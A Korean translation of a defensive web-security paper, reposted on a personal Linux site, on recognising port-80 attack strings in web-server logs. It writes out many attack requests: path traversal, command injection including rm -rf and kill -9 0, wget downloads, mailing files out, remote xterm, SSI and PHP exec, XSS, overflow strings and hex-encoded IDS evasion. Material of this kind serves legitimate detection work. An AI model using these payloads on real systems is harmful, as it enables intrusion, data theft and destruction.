리눅스, 자료실, 성경검색, 추억의게임, 고전게임, 오락실게임, rootman, http://www.rootman.co.kr
* 34.236.190.216 *
| Home | Profile | Linux | 자료실 | zabbix | Mysql 5.6 | 갤러리 | 성경검색 | 해피니스 | 자유게시판 | 게시물검색 | L | O | R |    

 
[Doc/Faq] Fingerprinting을 이용한 80 포트(웹서버) 공격법들
 작성자 : rootman
Date : 2003-06-17 17:58  |  Hit : 7,259  

출처 :
http://www.securitymap.net/sdm/docs/ids/fingerprint-80-attack.txt


저자: Zenomorph
E-Mail:[email protected]
"Fingerprinting을 이용한 80 포트(웹서버) 공격법들"
웹서버와 웹 응용프로그램을 공격하기 위한 문자(기호)들을 살펴본다.
원문: http://www.cgisecurity.com/papers/fingerprint-port80.txt
번역자: [email protected](2001-11-8)


I.  서론
II.  일반적인 Fingerprints
III. 고급 Fingerprints
IV.  오버 플로워 Fingerprints
V.  Hex 암호화 - (침입탐지 시스템을 피하기 위한)
VI.  결론

I. 서론
80 포트는 웹사이트를 위한 표준적인 포트이며, 이 웹사이트에는 많은 보안위험 요소를 가지고 있다.
이들 보안 위험 요소는 공격자가 웹서버의 관리자 권한을 획득할 수 있거나 심지어 웹서버 자체를 자신의 것으
로 만들 수 있다.
이 문서는 약간의 문자(기호)를 조합하여 웹서버를 공격하는 예를 보여주며, 당신은 이 공격기호들을 웹로그
파일 안에서 볼 수 있다.

II. 일반적인 Fingerprints
이 단락에서는 일반적인 Fingerprints를 하기 위한 웹 응용프로그램과 웹서버의 공격코드를 사용하는 예를 보
여 줄 것이다.
여기서는 당신에게 사용가능한 모든 Fingerprints를 보여주지는 않을 것이다. 그 대신 일반적으로 사용하는 공
격 기호들을 간략하게 보게 될 것이다.
이들 문자(기호)의 대부분은 이미 알려져 있지만 아직 알려지지 않은 취약한 문자(기호)들을 선택하여 공격자
들은 공격할 수도 있다.
아래 기호는 보통 웹 서비스에서 사용될 수 있지만, 공격시에도 사용될 수 있다.

"."  ".."  그리고 "..."의 요청들

이들 대부분의 공격 기호들은 웹 응용프로그램이나 웹서버에서 둘다 사용할 수 있는 일반적인 공격 코드이다.
웹서버에 접근하기 위한 디렉토리 변경이나 버그를 찾기 위해 공격자는 공개된 기법들을 동원하지는 않는다.
거의 대부분의 취약점은 CGI 버그를 이용한다.

아래 ".."을 요청한 예를 보자

* http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

이것은 공격자가 당신의 웹서버에게 "Message Of The Day"파일인 /etc/motd파일 내용을 요청한다.
이것이 성공한다면 공격자는 당신의 웹서버 루트 권한을 획득 한다거나 일반 사용자 권한을 획득하기 위해 충
분한 정보를 모으는 것이 가능할 수 있다.

"%20" 요청하기

이것은 공백을 위한 Hex값이다. 이것은 당신의 로그파일 안에서 자주 나타나기도 하지만 공격코드가 아닐 수
도 있다.
웹서버가 실행되고 있는 동안 몇몇 응용프로그램들이 이 문자를 사용할 수도 있다. 로그파일안에서 이들을 구
별 할 줄 알아야 한다.
다른 한편으로는, 이 요청이 때때로 시스템 명령을 실행하는 것을 돕는데 사용될 수 있다.

아래 예를 보자.

* http://host/cgi-bin/lame.cgi?page=ls%20-al| (ls -al은 유닉스 명령에서 사용되는 것이다.)

위의 예제는 공격자가 ls명령어를 유닉스의 명령인자와 함께 구성하여 실행하는 것을 보여준다.
이 명령인자는 디렉토리내의 모든 파일 리스트를 보기 위해 서버에 요청하는 것이다.
이것은 당신의 시스템 위에 중요한 파일들을 공격자가 접근하는 것을 허락할 수 있고, 더 나아가 공격자에게
더 높은 권한을 얻는 방법에 대한 아이디어를 줄 수 있다.


"%00" 요청하기.

이것은 NULL을 위한 hex값이다.
이것은 웹 응용프로그램이 정상파일을 요청한 것으로 생각하게 만들어 공격자의 파일 타입을 속이는데 사용될
수 있다.

아래 예를 보자.

* http://host/cgi-bin/lame.cgi?page=index.html
위의 예제는 정상으로 웹서버에게 요청하는 경우 이다. 만약 공격자가 위의 요청에 대하여 취약점이 있는지를
찾기 위한 것이라면 아래와 같이 입력해야 한다.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
웹서버는 파일 확장자가 .htm, .html, .shtml혹은 다른 파일 타입에 대하여만 허용하기 때문에 위의 예제는 요
청을 불허 할 수 있다.
웹서버에 위와 같은 요청이 들어오면 서버는 적절한 파일 타입이 아니라고 당신에게 응답을 주게 될 것이다.
좀더 정확하게 그것은 공격자에게 파일이 정확한
filename으로 끝나야 한다고 말할 것이다. 여기서 공격자는 당신의 시스템에 관한 많은 정보를 획득하기 위해
시스템 파일들이 위치한 패스를 정확히 알려고 할 것이다.

* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
이 요청은 서버에게 미리 접근 가능하도록 정의된 파일 형태로 속이기 위해서 사용된다.
몇몇 웹 응용프로그램들은 보통 일반적인 접근 가능한 파일들을 속일 수 있기 때문에 공격자들에 의해 사용되
는지를 조사하여야 한다.

"|" 요청하기
이것은 파이프 문자로, 유닉스의 복잡한 명령들을 한번에 실행하기 위해 필요한 기호이다.

예제: #cat access_log| grep -i ".."
이것은 access_log파일 안에서 공격자들이 ".."를 요청한것을 찾기 위해 사용되는 명령어 이다.
종종 침입탐지 시스템의 로그들은 웹 응용프로그램들이 정상적으로 사용하는 이러한 요청을 공격성 코드로 인
식하는 경우도 발생한다.
그러므로 당신의 웹 서버 응용프로그램들이 이러한 정상 코드를 발생시키는지에 대한 시험을 통하여 허위 탐
지 정보를 판단하여야 한다.

몇몇 예제들이 아래에 있다.

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
이 요청은 보통 ls명령어를 실행하기 위한 것이다. 위의 요청에 조금 다른 변화를 주어보면,

* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
이 요청은 유닉스 시스템의 /etc 디렉토리의 모든 내용을 볼 수 있다.

* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
이 요청은 cat명령을 실행하여 access_log파일 내용중에 lame문자열을 찾는 것이다. 물론 grep명령어의 i옵션
도 함께 사용하였다.


";" 요청하기.
이것은 복합적인 명령들을 연속적으로 유닉스 시스템 위에서 실행되게 하는 문자이다.

예제: #id;uname -a (id명령을 실행한 이후 uname명령어를 실행합니다)
종종 서버내의 프로그램들이 시간을 표현하기 위해 사용되는 문자일 수 있지만, 침입탐지 시스템에서 경보를
발생시킬 수도 있다.
한번 당신의 응용프로그램들을 점검하여 침입탐지 시스템의 룰을 재 적용하면 많은 오용탐지를 막을 수 있다.

"<" and ">" 요청하기.

이 문자들은 많은 이유로 인하여 침입탐지 로그에서 체크되어 진다. 이 문자를 사용하는 첫번째 이유는 파일
의 입출력을 변경하거나 파일 내용을 추가할때 사용되어 진다.

예제 1: #echo "your hax0red h0 h0" >> /etc/motd
이것은 /etc/motd파일안에 내용을 쓰는 것을 보여준다. 공격자는 당신의 웹사이트를 손상시키기 위해 이렇게
간단한 요청을 사용할 수 있다.
rain.forest.puppy에 의해 유명해진 RDS 공격코드는 매번 echo명령을 사용하여 웹사이트의 메인 페이지를 변경
하는데 사용하였다. 특별한 포멧이 없는 웹사이트 해킹에는 echo명령을 이용한 것을 attrition.org에서 찾을
수 있다.

Example 2: http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>
이 요청은 크로스 사이트 서버 스크립팅 공격 예제이다. 당신은 html테크를 사용하여 "<"나 ">" 문자를 웹 서
버에 쓸 수 있다.
이 공격은 사용자가 원래 접속하려던 웹 사이트의 접속을 차단하고 똑같은 웹사이트로 링크를 만들어 사람들
을 속여 자신이 접속한 웹서버 정보가 정확하다고 속이데 사용할 수 있다.
(물론, 공격이 성공하려면 똑같은 웹사이트 링크가 필요하다.-)
(접속하는 hex값이 암호회 된다면 이러한 서버 사이트 스크립팅 공격은 막을 수 있다.)

"!" 요청하기

이 문자는 종종 SSL(Server Side Include)공격에 사용된다. 이들 공격은 공격자가 사용자들이 잘못된 웹 사이
트 링크를 클릭하는 것과 같은 크로스 사이트 스크립팅 공격과 비슷한 결과를 가져올 수 있다.

아래 예제를 보라.
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html
이것은 공격자가 할 수 있는 하나의 예이다.  사용자는 host2의 웹사이트와 연결되지만 그것은 host1으로 위장
하는 것처럼 보이도록 하는 것이다.
물론 사용자들은 링크를 방문할 필요가 있었을 것이지만 공격자들은 위장한 사이트로 연결하기를 바랄 것이
다. 잘못된 링크로 연결되는 것은 hex코드 안에서 암호화 하여 숨길 수 있다.

이것은 또한 당신의 웹서버의 특정 사용자 권한을 획득할 수 있고 시스템 내의 명령을 실행 할 수 있다.

아래 예제를 보라.
http://host/something.php=<!%20#<!--#exec%20cmd="id"
위의 예제는 원격지 시스템의 유닉스 명령어인 "id" 실행을 요청한 것이다. 이것은 웹서버 데몬 사용자를 보여
줄 것이다. 대게 "nobody"나 "www"일 것이다.
이것은 또한 숨겨진 파일 내용을 볼수도 있다.

아래 예제를 보라.
http://host/something.php=<!%20--#include%20virtual=".htpasswd"
이것은 .htpasswd파일에 관련한 것이다. 이 파일은 일반적으로 웹서버의 접근 권한을 제어하는 파일이며, 아파
치 웹서버 내의 설정파일에 의하여 ".ht"은 웹에서 접근하지 못하도록 하고 있다.
이 SSL테그는 서버의 보안정책 사항을 우회할 수 있는 통로를 제공한다.

"<?" 요청하기.
이것은 종종 원격지 웹 응용프로그램인 php에 인자를 입력하는데 사용된다. 서버의 특정 인자 값이나 서버의
환경을 설정할 수 있는 명령들을 실행하는 것을 가능하게 한다.

아래 예제를 보라.
http://host/something.php=<? passthru("id");?>
잘못 작성된 php 프로그램은 원격지나 로컬에서 웹서버 권한의 명령어를 실행할 수 있다.
이 취약점에 더하여 공격자는 hex값을 암호화 하여 동일하게 요청할 수 있다. 그러므로 당신은 작성된 프로그
램을 세밀하게 점검하여야 한다.

"`" 요청하기.
"`"문자는 perl에서 명령어를 실행하는데 자주 사용되어 진다. 이 문자는 보통 웹 서버 프로그램에서는 사용되
지 않는다. 그러므로 당신은 이것이 얼마나 타당한 로그인지를 주의깊게 살펴볼 필요가 있다.

아래 예제를 보라.
http://host/something.cgi=`id`
이것은 취약한 perl로 작성된 프로그램에서 "id"명령을 실행할 수 있다는 것을 보여 준다.


III. 고급 Fingerprints

이 장에서는 공격자가 요청할 수 있는 파일들과 함께 더 많은 실행가능한 명령어를 사용하는 방법에 대하여 초
점을 맞출 것이다.
공격자는 원격지 시스템의 완전한 명령이나 파일들의 목록을 요청하지는 못하지만 당신의 시스템을 배경으로
충분한 아이디어를 제공해 줄 수 있다.

* 취약점이 존재할때 공격자가 사용할 수 있는 일반적인 명령어.

"/bin/ls"
이것은 ls명령어인 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일의 전체 패스명
을 사용하여 요청한다.
만약 당신의 웹 로그에서 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것
을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가
있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
예제: http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"
이것은 윈도우 쉘 이다. 만약 공격자가 이 윈도우 쉘을 실행 할 수 있다면 서버 권한에 의지하고 있는 윈도우
시스템은 어떠한 명령이라도 실행 할 수 있다.
거의 대부분의 인터넷 웜 바이러스는 포트 80번을 이용하여 이 cmd.exe를 이용한다. 또한 감염된 서버는
cmd.exe를 사용하여 또 다른 시스템에게 바이러스를 전파시키기도 한다.

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\

"/bin/id"
이것은 유닉스의 "id"명령에 대한 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일
의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서에 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것
을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가
있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
예제: http://host/cgi-bin/bad.cgi?doh=id;

"/bin/rm"
이것은 유닉스의 "rm"명령에 대한 바이너리 파일이다. 보통 웹 응용프로그램에 홀이 존재하면 바이너리 파일
의 전체 패스명을 사용하여 요청한다.
만약 당신의 웹 로그에서에 이 명령어를 발견한다면 원격지에서 로컬 시스템의 명령어를 실행 할 수 있다는 것
을 보여준다. 때때로 허위 경보일 수 있으므로 항상 문제가 될수 없다.
이 명령은, 다른 한편으로는, 공격자나 사용자에 의하여 사용되든지 양쪽다 파일을 삭제하는 것을 허용하기 때
문에 상당히 위험하다.
가능하다면 당신의 웹 프로그램에서 이러한 로그 파일과 동일하게 시험하여 보고 그 결과값을 연구할 필요가
있다. 만약 이러한 시험을 하고자 한다면 시스템내의 중요한 파일들에 대해서는 점검하고 사용하길 바란다.
만약 stupid.txt파일을 삭제한다면, 그것은 웹 사이트내의 루트 디렉토리에 보여지지는 않는다. 테스트할 목적
이라면 새로이 파일을 만든다음 시험하여 보라.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
예제: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget, tftp" 명령어
이 명령은 공격자가 서버에 파일을 다운로드 하기위해 사용되거나 바이러스를 전파하기 위해 자주 사용된다.
때론 공격자가 사용자 권한을 한층 더 높이기 위해 사용되기도 한다.
wget은 유닉스 명령어로 백도어를 심기위해 다운로드할때 사용되어 진다. tftp 명령어는 유닉스나 NT모두에서
사용가능한 파일 다운로드 명령이다.
몇몇 IIS 바이러스는 tftp명령어를 사용하여 자신들을 복제하는데 사용되어 지며, 또한 다른 시스템으로 전이
하기 위해 사용되어 진다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
예제: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

"cat" 명령어
이 명령어는 파일의 내용을 보는데 자주 사용되어 진다. 이 명령어는 시스템의 환경파일, 패스워드 파일, 크레
디트 카드관련 파일, 등등 당신이 생각할 수 있는 거의 모든 중요한 파일들의 내용을 볼 수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
예제: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 명령어.
이 명령은 종종 index.html과 같은 파일 내용을 덧붙일때 사용된다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
예제: http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 명령어.
이 명령은 현재 실행중인 프로세서 리스트를 보여 준다. 이 명령은 공격자에게 원격지 시스템에 안전치 않은
소프트웨어를 알려 줄수 있고, 또한 공격자에게 시스템내의 많은 정보를 알려 줄수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
예제: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill, killall" 명령어.
이 명령어는 유닉스 시스템에서 실행중인 프로세서를 중지시킬때 사용되어 진다. 공격자가 이 명령어를 사용
할 수 있다면 시스템 서비스나 프로그램을 중지시키거나 재시작 할 수 있다.
공격자는 이 명령을 또한 그가 실행시킨 프로세서를 중지 시키거나 공격이후 생성한 프로세서를 없애는데 사용
하기도 한다.

예제: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
예제: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 명령어.
이 명령어는 공격자가 원격시스템의 호스트 이름(커널, OS종류, 패치여부, Release정도)을 알고자 할때 사용된
다. 때때로 웹사이트가 ISP에 연결되어 있으면 이 명령어를 통해 그가 접근가능(공격가능한)한 방법에 대한 아
이디어를 제공하기도 합니다.
보통 "uname -a"명령어는 로그파일에서 다음과 같이 나타납니다.
"uname%20-a".

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
예제: http://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..."  컴파일러/인터프린터 언어들.
"cc"나 ""gcc" 명령어는 프로그램의 수정을 허용한다. 공격자는 wget이나 tftp명령을 사용하여 공격성 코드를
다운로드 한 다음 이 컴파일러를 이용하여 프로그램을 편집하기도 한다.
아무곳에서나 이러한 것이 가능하다면, 로컬 시스템은 악의적으로 사용될 수 있다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
예제: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

만약 공격자가 "perl"이나 "python"을 위한 스크립트 요청을 보게 된다면 공격자는 원격지에 perl이나 python
스크립트를 다운로드 할 것이고, 당신의 시스템을 악의적으로 이용할 것이다.

"mail" 명령어.
이 명령어는 공격자가 자신의 이메일 주소로 원격지 시스템의 특정 파일을 받고자 할때 주로 사용된다. 또한
mail명령어는 스팸머(대량메일을 네트워크에 전송하는)에게 매우 자주 사용되는 명령어 이기도 하다.
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%[email protected]%20<<%20/etc/motd|
예제: http://host/cgi-bin/bad.cgi?doh=mail%[email protected]%20<</tmp/wu-2.6.1.c;

"xterm/Other X application" 명령어.
Xterm명령어는 원격지 시스템의 X-Windows에서 사용되는 쉘을 얻기 위해서 자주 사용된다. 만약 당신의 웹 로
그에서 이러한 형태를 보게 된다면 그것은 당신의 시스템 안전을 위협하는 요소 이다. 당신의 로그 내용중에
아래와 같은 형태가 있는지 점검하여 보라.
"%20-display%20"
이러한 fingerprint는 xterm이나 X관련 응용프로그램을 원격지 호스트에서 사용하기 위해 자주 이용하는 형태
이다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
예제: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

"chown, chmod, chgrp, chsh, etc..." 명령어.
이 명령어는 유닉스 시스템의 권한설정 부분을 변경할때 사용되는 명령어 이다.
아래에 각각 개별적으로 간단히 설명하였다.
chown = 파일 소유자를 변경한다.
chmod = 파일의 엑세스 권한을 설정한다.
chgrp = 파일의 소유자 그룹별을 변경한다.
chsh = 현재 사용자의 쉘을 변경한다.

예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
예제: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
예제: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
예제: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|


* 보통 공격자들이 요청하는 파일들.

"/etc/passwd"  파일.
이것은 시스템 패스워드를 담고 있는 파일이다. 이것은 보통 패스워드부분이 암호화 처리 되어 공격자에게 패
스워드를 쉽게 획득하지 못하도록 하고 있다.
그러나 공격자에게 다른 한편으로 많은 정보를 줄 수 있다. 예를 들면 사용자 이름, 그룹정보, 사용중인 쉘,
홈 디렉토리 등등.
종종 공격자들은 암호화된 패스워드 파일인 /etc/shadow파일을 보려고 할 것이다.

"/etc/master.passwd"
이 파일은 BSD시스템의 암호화된 패스워드 파일이다. 이 파일은 단지 루트 사용자만이 읽을 수 있지만 경험없
는 공격자들은 아마도 이 파일을 읽기 위해 노력할 것이다.
만약 웹서버가 루트 사용자로 실행되고 있다면 공격자는 이 파일을 읽을 수 있을 뿐만 아니라 시스템에 많은
문제를 야기 할 수 있다.

"/etc/shadow"
이것은 암호화된 패스워드를 담고 있는 시스템 패스워드 파일이다. 이 파일은 단지 루트 사용자만이 읽을 수
있지만 경험없는 공격자들은 아마도 이 파일을 읽기 위해 노력할 것이다.
만약 웹서버가 루트 사용자로 실행되고 있다면 공격자는 이 파일을 읽을 수 있을 뿐만 아니라 시스템에 많은
문제를 야기 할 수 있다.

"/etc/motd"
이것은 "Message Of The Day"파일로 사용자가 로긴하였을 때 보여지는 메세지 내용을 담고 있는 유닉스 시스
템 파일이다. 이 파일은 중요한 시스템 정보를 관리자가 일반 사용자들에게 공지하기 위한 정보를 제공할때 사
용되어 진다.
공격자는 시스템 용도를 알기 위하여 종종 이 파일 내용을 조사하게 된다. 시스템에 접근하기 위하여 사용되어
지는 OS에 따른 공격코드를 연구할때 사용되어 지기도 한다.
"/etc/hosts"
이 파일은 네트워크 정보나 IP주소에 관한 정보를 제공한다. 공격자는 이 정보를 당신의 시스템과 네트워크 설
정에 관한 많은 정보를 찾아내는데 사용할 수 있다.

"/usr/local/apache/conf/httpd.conf"
이것은 아파치 웹서버의 환경파일이다. 이 패스정보가 시스템 마다 서로 틀릴 수 있지만 보통은 위와 같다.
이 파일은 공격자에게 웹사이트에 관련한 CGI,SSL접근이 허락되는지와 같은 특별한 정보를 알려줄 수 있다.

"/etc/inetd.conf"
이 파일은 인터넷 서비스 관리자에 관련한 환경설정 파일이다. 이 파일은 원격지 시스템에서 사용중인 데몬에
대한 내용을 담고 있다.
이 파일은 또한 공격자에게 원격지 시스템이 각 데몬을 위한 접근 제한을 설정하고 있는지도 알 수 있다.
만약 접근 제한이 설정되어 있다면 공격자는 다음 파일을 조사 할 것이다. /etc/hosts.allow
나 /etc/hosts.deny 파일이다. 공격자는 아마도 원격지 서버에 접근 권한을 얻기 위해 이 파일내용을 수정할
것이다.

".htpasswd, .htaccess, and .htgroup"
이 파일은 웹사이트의 패스워드 인증을 위해 사용되어 진다. 공격자가 이 파일 내용을 보게 되면 웹 사이트에
접속하기 위한 사용자명과 패스워드를 알아 낼 것이다. 이 파일 내용중 패스워드는 암호화 되어 있다.
그러나 이 암호화된 패스워드는 패스워드 크랙을 이용하여 간단하게 풀 수 있다. 공격자는 아마도 사용자 이름
과 패스워드 크랙을 통해 쉽게 웹사이트에 접속할 수 있다.
(많은 사람들은 사용자명과 같은 패스워드를 사용한다. 공격자는 종종 이것을 알아채어 사용자명만 가지고 쉽
게 접근할 수 있다.)

"access_log and error_log"
이 파일은 아파치 웹서버의 로그 파일들이다. 공격자들은 때때로 자신들의 접속 로그가 있는지 알기 위하여
이 로그 파일을 조사합니다. 종종 공격자들은 자신의 접속과 관련한 내용이 존재하면 모두 삭제하거나 편집하
기도 한다.
공격자가 포트 80을 이용하여 이들 파일들을 삭제 할 수 있다면 당신은 시스템복원을 위해 상당히 힘들 수 있
다. 그러므로 이 로그 파일은 항상 백업을 받는다든지 아니면 다른 시스템에 동시 저장하여야 한다.

"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
이것은 윈도우 NT에서 사용하는 패스워드 파일이다. 공격자는 원격지 시스템에 명령실행이 되지 않는다면 종
종 이 파일을 요청할 것이다. "l0pht crack"프로그램을 실행하면 원격지 윈도우 시스템의 패스워드를 크랙하는
데 성공할 수 있다.
공격자가 관리자 패스워드를 알아내면 원격지 시스템을 자신의 것으로 만드는 것은 매우 쉽다.


IV.  오버 플로워 Fingerprints

버퍼오버 플로워에 관련한 문서를 여기서는 많이 소개하지는 않겠지만, 간단한 몇개의 일례만을 예제로 보여
줄 것이다.
버퍼오버 플로워는 다른 트릭들이나 암호화에 의하여 시스템을 혼란시키는데 사용된다.

아래 예제를 보라.
예제:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

공격자는 굉장히 많은 문자 'A'를 전송하여 원격지 서버 프로그램의 버퍼를 넘치게 할 수 있다. 버퍼오버 플로
워는 공격자에게 원격지 명령을 실행할 수 있는 권한을 준다.
만약 응용프로그램의 소유자가 루트이고 suid가 설정되어 있다면 시스템에 대한 모든 접근 권한을 획득할 수
있다. 만약 suid가 설정되어 있지 않다면 웹서버를 실행중인 사용자 권한을 획득할 수 있다.
버퍼오버 플로워에 관련한 더 많은 내용들이 있지만 여기서는 다루지 않을 것이다. 규칙적인 문자 배열이 로그
파일에 있다면 당신은 충분히 조사하여야 한다. 만약 로그파일에 지속적으로 엄청난 요청들이 존재한다면 그것
은 아마도 새로운 인터넷 바이러스의 한 형태 일 수 있다.

V.  Hex 암호화 - (침입탐지 시스템을 피하기 위한)

fingerprint 공격에 관한 모든 레퍼런스는 침입탐지 시스템이 공격 요청들을 위한 문자만을 체크한다는 것을
알고 있다. 오래전부터 공격자들은 hex값 안에서 그들의 요청을 암호화 하여 침입탐지 시스템을 회피하였다.
Whisker로 알려진 CGI스캐너가 대표적인 예이다. 만약 당신의 로그들을 보고 많은 hex나 특이한 문자들을 인지
한다면 그것은 공격자가 당신의 시스템을 공격하려는 시도일 가능성이 있다.
hex에 대한 의미를 가장 빨리 체크하는 방법은 로그파일의 내용을 브라우져에 복사하여 실제 적용되는 상태를
보는 것이다.
만약 당신이 404페이지 오류가 보이지 않고, hex값을 웹서버에 전송한 결과 요청이 성공적으로 이루어진다면
당신은 그 결과를 알 수 있을 것이다.
만약 당신이 이러한 보안 위험을 무릅쓰지 않겠다면, 간단히 암호화된 문자를 적당히 ascii값으로 변경하여 해
석하여야 할 것이다.

VI.  결론
이 문서는 80포트에 대한 모든 공격코드를 기술하지는 않았다. 그러나 거의 대부분의 일반적인 공격에 대하여
는 기술하였으리라 믿는다.
여기서 당신에게 말하려는 것은 당신의 로그 파일 내용을 점검하기 위한 방법과 침입탐지 시스템의 룰을 적용
하기 위한 간단한 아이디어를 제공하였다.
여기서 작성한 것은 웹 서버 관리자가 조심하여야 할것이 무엇이며 또한 안전한 웹 응용프로그램을 개발하는
방법에 대해 도움을 주려고 하였다.

나는 이 문서를 일요일에 작성하였다. 그러므로 다른 제안들이나 잘못된 내용들에 대한 요구사항이 있다면 이
메일을 보내라.
[email protected].

Published to the Public November 2001
Copyright November 2001 Cgisecurity.com


translation by [email protected]

 
 

Total. 645
번호 분류 제목 작성자 등록일 조회수
510 기초강좌 리눅스 쉘에서 html 메일 발송하기 rootman 01-27 7292
509 기초강좌 하드디스크 온도 측정하기(smartctl 이용) rootman 12-31 7289
508 기초강좌 [dmraid] rootman 08-12 7289
507 Shell 문자열 조각 대치(Substring Replacement) (16) rootman 10-16 7288
506 기초강좌 [ddos] 한 IP당 동시 접속량 제한과 자동차단 rootman 07-26 7287
505 Doc/Faq Fingerprinting을 이용한 80 포트(웹서버) 공격법들 (17) rootman 06-17 7260
504 php [php] 최근 게시물보기 속도 빠르게 만들기 rootman 02-28 7256
503 windows tips 노트북(PC)을 무선 AP로 만들기 - ADHoc 사용 rootman 07-24 7241
502 qmail [qmail] qmail control 디렉터리 파일 설명 rootman 05-24 7228
501 qmail [qmail] qq 451 crashed 오류 원인과 답 rootman 02-05 7222
500 Doc/Faq ucspi-tcp 란 무엇인가? (1) rootman 10-19 7172
499 qmail [qmail] qmail 인스톨 가이드 (초기버전,2004년 09월) rootman 10-10 7169
498 기초강좌 [SQL] 문자열조작 (54) rootman 04-10 7164
497 windows tips [썬더버드] 모질라 썬더버드(Thunderbird) 백업과 복구 rootman 07-16 7149
496 php [php] 암호화 알고리즘 종류 루트맨 03-12 7140
 1  2  3  4  5  6  7  8  9  10    
AND OR